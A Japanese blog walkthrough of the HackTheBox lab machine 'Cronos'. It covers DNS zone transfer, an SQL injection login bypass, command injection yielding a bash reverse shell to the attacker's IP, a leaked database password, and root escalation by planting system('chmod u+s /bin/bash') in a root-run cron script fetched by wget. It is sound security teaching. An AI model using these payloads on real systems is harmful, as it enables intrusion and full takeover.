今回はHackTheBoxのMediumマシン「Cronos」のWriteUpです!
Linuxのマシンでこの名前なので、既にあれかな?という気がしますが、どのようなボックスなのでしょうか!
グラフはMediumにしてはやや優しめでしょうか。
評価も高いのでそこまで複雑な脆弱性は出てこないような気がしますね。
HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう~。
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Cronos
侵入
それでは、いつものようにポートスキャンから始めましょう。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo nmap -n -Pn -v -T4 -p- -sS --min-rate=1000 -A 10.10.10.13
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
22番と53番、そして80番を確認しました。DNSが確認できたので、ゾーン転送を試してみます。
ゾーン転送が許可されていた場合、サブドメインが見つかる可能性があります。
なぜサブドメインを列挙するのか?
サブドメインを列挙する理由は、ドメインにより制限された領域にアクセスするためです。Webでは、管理者用のサブドメイン、デバッグ用のサブドメインという感じで用途に応じたサブドメインを使用することが可能です。ハッキングの観点から見ると、サブドメインで制限された領域は侵入の手がかりになることが多いです。また、ネットワーク全体のホストを識別するためにもドメインは重要な情報です。
ゾーン転送を試す前に、まずは、普通のドメインを/etc/hosts
ファイルに記述しておきます。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat /etc/hosts
10.10.10.13 cronos.htb
これで準備完了です。ゾーン転送は、dig
コマンドのaxfr
というオプションで実行できます。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ dig axfr cronos.htb @10.10.10.13
; <<>> DiG 9.18.16-1-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 175 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Tue Aug 08 13:23:48 JST 2023
;; XFR size: 7 records (messages 1, bytes 203)
ゾーン転送が許可されていました!出力を見てみると、新たにadmin.cronos.htb
というドメインが存在していることが分かります。
ゾーン転送とは?
簡単に説明すると、ゾーン転送とはマスターとなるDNSサーバが自身の持つ情報を他のDNSサーバに教える(転送する)ことです。通常は認証が必要であるため、Kali側からのゾーン転送には応じないはずなのですが、適切な設定がされていない場合、今回のようにどこへでも情報を転送してしまいます。
では、先ほどと同じように/etc/hosts
ファイルに記述しておきましょう。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat /etc/hosts
10.10.10.13 cronos.htb admin.cronos.htb
DNSは列挙できたので、次はWebにアクセスしてみましょう。
Apache2のデフォルトページが表示されました。
デフォルトページには特に遷移がないので、gobuster
を実行し、ディレクトリ探索を行います。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ gobuster dir -u http://10.10.10.13 -w /usr/share/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.13
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/08/08 13:51:17 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 295]
/.htaccess (Status: 403) [Size: 295]
/server-status (Status: 403) [Size: 299]
Progress: 20476 / 20477 (100.00%)
===============================================================
2023/08/08 13:57:33 Finished
===============================================================
特に怪しいディレクトリは見つかりませんでした。
では気を取り直して、大本命のadmin.cronos.htb
にアクセスしてみようと思います。
ログインページが表示されました!
サブドメインのadmin
という文字列からして、管理者用のWebページである気がします。とりあえず適当にadmin:admin
と入力し、ログインできるか試してみましょう。
流石に甘くないですね。ログインが弾かれてしまいました。
SQLインジェクション
ログイン画面が表示されましたが、現時点では使えそうな認証情報は何も持っていません。このような状況で他に試すことができることといえばSQLインジェクションです。
SQLインジェクションとは?
SQLインジェクションとは、ユーザの入力を適切に処理しないことが原因で発火する脆弱性です。発火させる方法は様々ありますが、主に攻撃者は'
や"
といった文字列を使用し、任意のSQLを実行します。SQLインジェクションにより、ログイン(認証)のバイパス(回避)や情報の取得が可能です。
一番メジャーなテスト手法はシングルクォート('
)を使用することです。パスワードの最後に追加し、再度ログインを試してみましょう。
追加しましたが、レスポンスに変更はありません。ではシングルクォートではなくダブルクォート("
)を追加してみます。
こちらもレスポンスに変わった様子はありません。SQLインジェクションは発火しないのでしょうか。もう少しだけ試してみましょう。
他のアプローチとして'or'1'='1
を追加するという手もあります。これはSQLのWhere句に対して常に真を返すようにするものです。パスワードの後ろに追加し、再度試してみましょう。
こちらも発火しないようです。ここまで試して発火しないとSQLインジェクションから一度離れるところではありますが、一応ユーザ名の方でも発火しないか試してみましょう。
シングルクォートから順に試していると、'or'1'='1
でいつもと違うレスポンスを確認しました!
よく見てみると、302番が返ってきていることが分かります。また、レスポンスのLocationにはwelcome.php
と書かれています。このことからログインに成功し、welcome.php
にリダイレクトしたのではないかと予想できます。
実際のWebページで同じように入力し、ログインしてみましょう。
パスワードはなんでも大丈夫です。入力出来たらSubmit
を押してみましょう。
ログインできました!エラーが出ていなかったので、分かりにくかったですが、SQLインジェクションに脆弱だったようです。
なぜSQLインジェクションが発火したのか?
ログイン処理の多くで下記のようなSQL文が使われています。
※分かりやすくするために「and」ではなく「or」を使用しています。
select * from users where username = '?' or password = '?'
はてな(?
)で示された箇所にユーザの入力が挿入され、SQL文として実行されます。本来は、挿入する段階でステークホルダーなどを使用しユーザの入力を適切に処理するのですが、適切に処理されていない場合、ユーザが好きにSQL文を書き換えることが可能です。
では、実際に今回使用した'or'1'='1
で、どのようにSQL文が変更されてしまうのか見てみましょう。
select * from users where username = 'admin'or'1'='1' or password='admin'
1=1
は必ず真になり、それぞれの条件式はor
で繋がっています。つまり1=1
がある限り、他の入力がどのような値であってもログインは成功してしまうのです!
SQLインジェクションのポイントはシングルクォート('
)です。今回の入力を見ると分かりやすいですが'or'1'='1
のようにシングルクォートが不自然に使用されています。しかしこれにはきちんと意図があります。SQL文で確認しましょう。
where username = '<username>'
上記はユーザ名が正しいかどうかを判断している式ですが、ここで注目してほしい部分は<username>
を囲んでいるシングルクォート('
)です。2つのシングルクォートはユーザの入力の始まりと終わりを示すものです。例えば普通にadmin
というユーザ名が入力されると下記のようなSQLになります。
where username = 'admin'
これにより、ユーザ名がadmin
であるかどうかという判断が行われます。adminというユーザが存在しているなら「真」、存在していなければ「偽」となります。では、これを踏まえてシングルクォート('
)を一つ入力したときの処理を見てみましょう。
where username = 'admin''
末尾のシングルクォート('
)が二つになったことが分かると思います。このようなSQLでは適切に処理が行われず、エラーとなります。SQLインジェクションに対して脆弱であるかどうかを確認する際、エラーが起きるかどうかを判断基準にするのはこのためです。
では、この状態でさらにもう一つシングルクォート('
)を追加してみましょう。
where username = 'admin'<free>''
即席で<free>
という値を入れていますが、見てほしいのはその色です。Qiitaでは、シングルクォートに囲まれた部分は青色で表示されます。しかし<free>
は青ではなく赤やwhere
と同じ黄色になっていると思います。何が言いたいかというと、この部分はwhere
などと同じように値ではなくSQL文として判断されるということです。そのため、先ほどの入力のように'or'1'='1
を入れると、新たな条件式が作成され、常に真を返すようになります。
コマンドインジェクション
それでは、さらに攻略を続けていきましょう。
再度Webを確認してみます。
見た感じ、traceroute
コマンドを実行できそうです。traceroute
の部分はプルダウンになっているので、他にもコマンドを選択できるかもしれません。見てみましょう。
他にもping
が実行できるようです。とりあえず、ping
をIPアドレスは変えずに実行してみましょう。
出力が100% packet loss
となっているため、ping
が届かなかったことが分かりますが、実行自体は成功していそうです。試しにIPアドレスをKaliのIPアドレスに変更してみます。Kali側でping
を確認したいので、tcpdump
というコマンドを実行し、待ち受けておきましょう。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
待ち受けが完了したら、ping
を実行します。
今度は1 received
と出力されているので、ping
が届いていそうです。先ほど待ち受けたtcpdump
も確認してみましょう。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:30:16.222535 IP admin.cronos.htb > 10.10.14.3: ICMP echo request, id 2948, seq 1, length 64
15:30:16.222931 IP 10.10.14.3 > admin.cronos.htb: ICMP echo reply, id 2948, seq 1, length 64
こちらでもping
の疎通を確認できました!
見たところ、tcpdump
とping
しか選択できないので何もできないように見えますが、他のコマンドを何とか指定させることができれば、シェルをゲットできるかもしれません。実行時にどのようなリクエストを送っているか見てみましょう。
コマンドがcommand
というパラメータで指定されていることが分かります!command
パラメータをすることで任意のコマンドが実行できるかもしれません!試してみましょう。まずはid
コマンドを実行してみます。
エラーは表示されていませんが、id
コマンドの出力は見当たりません。
では、ping
かtraceroute
は必ず実行する必要があるのでしょうか。。と一瞬思うのですが、よくping
を実行したときのことを考えてみます。command
でping -c 1
を指定し、host
で10.10.14.3
を指定しました。そして、実行が成功したということは、command
で指定した値とhost
で指定した値を結合し、一つのコマンド(ping -c 1 10.10.14.3
)としていると予想できます。
予想が正しい場合、今回のリクエストはid 10.10.14.3
というコマンドとして処理されたということが分かります。id
コマンドを実行する場合は、host
の値はいらないので、何も指定せずにリクエストを再送してみましょう。
コマンドが実行されました!これでシェルが取得できそうです!
www-dataとしてのシェル
それでは、侵入できるか試してみましょう。
シェルを取得する際にどのようなコマンドを実行すればいいか困ったときは「Reverse Shell Generator」を確認してみてください!
実際に使用するコマンドは以下の通りです。
command=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.3%2F2121+0%3E%261%27
実行する前に、Kali側で待ち受けることを忘れないでください。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ nc -lvnp 2121
listening on [any] 2121 ...
待ち受けまで準備が出来たら、実行しましょう!
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.13] 56388
bash: cannot set terminal process group (1319): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cronos:/var/www/admin$ whoami
whoami
www-data
侵入成功です!
権限昇格
www-dataとしてシェルを取得できましたが、恐らくまだ権限昇格は行えないと思います。まずはhome
ディレクトリ配下を確認してみましょう。
www-data@cronos:/home$ ls -l
total 4
drwxr-xr-x 4 noulis noulis 4096 May 10 2022 noulis
noulis
というユーザが存在することが分かりました。このユーザの認証情報を探してみましょう。
どこから列挙を開始するかですが、私はとりあえず各ユーザのホームディレクトリを確認していきます。www-dataユーザの場合は、/var/www/
配下がホーム的な存在なのでまずはそこに目を向けます。
www-data@cronos:/var/www$ ls -l
total 12
drwxr-xr-x 2 www-data www-data 4096 May 10 2022 admin
drwxr-xr-x 2 www-data www-data 4096 May 10 2022 html
drwxr-xr-x 13 www-data www-data 4096 May 10 2022 laravel
3つのディレクトリを発見しました。名前的に一番気になるのはadmin
です。さらに深く見ていきましょう。
www-data@cronos:/var/www/admin$ ls -l
total 20
-rw-r--r-- 1 www-data www-data 237 Apr 9 2017 config.php
-rw-r--r-- 1 www-data www-data 2531 Jan 1 2021 index.php
-rw-r--r-- 1 www-data www-data 102 Apr 9 2017 logout.php
-rw-r--r-- 1 www-data www-data 383 Apr 9 2017 session.php
-rw-r--r-- 1 www-data www-data 782 Apr 9 2017 welcome.php
5つのPHPファイルがあります。5つの中で一番怪しいファイルはconfig.php
です。名前からしてDBなどへの接続情報が記載されていることが多いです。
MySQL
ファイルの内容を見てみましょう。
www-data@cronos:/var/www/admin$ cat config.php
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
やはりDBへの認証情報が記載されていました!DB内にnoulis
ユーザの認証情報があるか確認してみましょう!
まずは接続します。
www-data@cronos:/var/www/admin$ mysql -u admin -p
Enter password: kEjdbRigfBHUREiNSDs
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.7.17-0ubuntu0.16.04.2 (Ubuntu)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
認証情報を使用し、接続することが出来ました!
次に、データベースを一覧表示します。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| admin |
+--------------------+
2 rows in set (0.00 sec)
今回は2つのデータベースしかないようです。
データベースはadmin
を選択します。
mysql> use admin
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
データベースが選択できたので、テーブルを一覧表示します。
mysql> show tables;
+-----------------+
| Tables_in_admin |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)
テーブルはusers
しかありません。
では、SQLを実行し、テーブル内を検索してみましょう。
mysql> select * from users;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 4f5fffa7b2340178a716e3832451e058 |
+----+----------+----------------------------------+
1 row in set (0.00 sec)
noulisユーザではなく、adminユーザのパスワードが出力されました!
このパスワードは、MD5でハッシュ化されているので、解読できるか試してみましょう。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 2 password hashes with no different salts (LM [DES 128/128 AVX])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 DONE (2023-08-08 16:35) 0g/s 3309Kp/s 3309Kc/s 6619KC/s !!1QWER..*7¡VA
Session completed.
解読できません!正直、絶対いけると思っていたのですが他の道があるのでしょうか。
再度列挙をやり直してみましょう。
crontab
再度/var/www
ディレクトリ配下を確認してみましたが、特に情報はありませんでした。netstat
でも有用な情報は得られなかったので、crontab
を確認してみました。
www-data@cronos:/var/www$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
なんと、php artisan
がrootで実行されています!恐らくpspy64
でも確認することができると思いますが、こちらで気付くことができてよかったです。
実行されているartisan
ファイルは/var/www/laravel
配下にあります。書き込み権限があるか見てみましょう。
www-data@cronos:/var/www/laravel$ ls -l artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr 9 2017 artisan
書き込み権限があります!このため、system
関数でコマンドを実行させ権限昇格できそうです!横移動するのかと思いましたが、一気に権限昇格できるようです。
まずは、artisan
ファイルにsystem
関数を記述します。色々とやり方はありますが、私はローカルで作成したファイルをターゲットにダウンロードさせることでsystem
関数を実行しようと思います。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat artisan
#!/usr/bin/env php
<?php
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/
require __DIR__.'/bootstrap/autoload.php';
$app = require_once __DIR__.'/bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$status = $kernel->handle(
$input = new Symfony\Component\Console\Input\ArgvInput,
new Symfony\Component\Console\Output\ConsoleOutput
);
/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running. We will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/
$kernel->terminate($input, $status);
system('chmod u+s /bin/bash'); //add
exit($status);
下から3行目のsystem
関数が追加した部分です。今回はbashにSUIDを付与し、権限昇格を試みます。
ファイルが用意できたので、サーバを立ち上げます。
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
サーバが立ちあげることができたので、ダウンロードさせます。ダウンロードを実行する前にファイルを削除することを忘れないようにしましょう。
www-data@cronos:/var/www/laravel$ rm artisan
削除が完了したら、wget
でsystem
関数を追加したartisan
ファイルをダウンロードします。
www-data@cronos:/var/www/laravel$ wget 10.10.14.3/artisan
--2023-08-08 11:27:17-- http://10.10.14.3/artisan
Connecting to 10.10.14.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1677 (1.6K) [application/octet-stream]
Saving to: 'artisan'
artisan 100%[===================>] 1.64K --.-KB/s in 0s
2023-08-08 11:27:18 (176 MB/s) - 'artisan' saved [1677/1677]
これで準備はできました。あとは少し待ってbashにSUIDが付与されるのを待ちましょう。
rootとしてのシェル
それでは、bashの権限を確認してみましょう。
www-data@cronos:/var/www/laravel$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
SUIDが付与されています!それではrootに移りましょう!
www-data@cronos:/var/www/laravel$ bash -p
bash-4.3# whoami
root
権限昇格成功です!
ユーザのフラグを取得しない状態でここまできたので、noulis
ディレクトリの中にあるフラグを忘れずに取得するようにしてください。
bash-4.3# ls -l /home/noulis
total 4
-r--r--r-- 1 noulis noulis 33 Aug 8 07:15 user.txt
もちろんルートフラグも忘れずに!
bash-4.3# ls -l /root
total 4
-r-------- 1 root root 33 Aug 8 07:15 root.txt
完全攻略達成!お疲れ様でした!
攻略を終えて
攻略を終えて思うことは「すべての人にこのマシンを挑戦してみてほしい」ということです。Cronosは基礎となる攻撃が多く、脆弱性の発火が分かりやすいです。権限昇格へのパスもイメージしやすいように作成されており、セキュリティの教材としてかなり有用です。難易度も優しく、楽しいマシンとなっているので、HackTheBoxユーザ以外の方にも挑戦していただきたいです。
今回はサブドメインを列挙し、SQLインジェクションによってログインすることでコマンド実行が可能になりました。やはりサブドメインというのは攻撃者にとって重要な情報でもあるので、取り扱いには十分に注意し、外部公開しなくていいドメインは公開しないなど適切な制限が必要です。SQLインジェクションについては言うまでもありませんが、適切に入力を処理し、任意のSQL文実行を防ぐようにしましょう。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました~!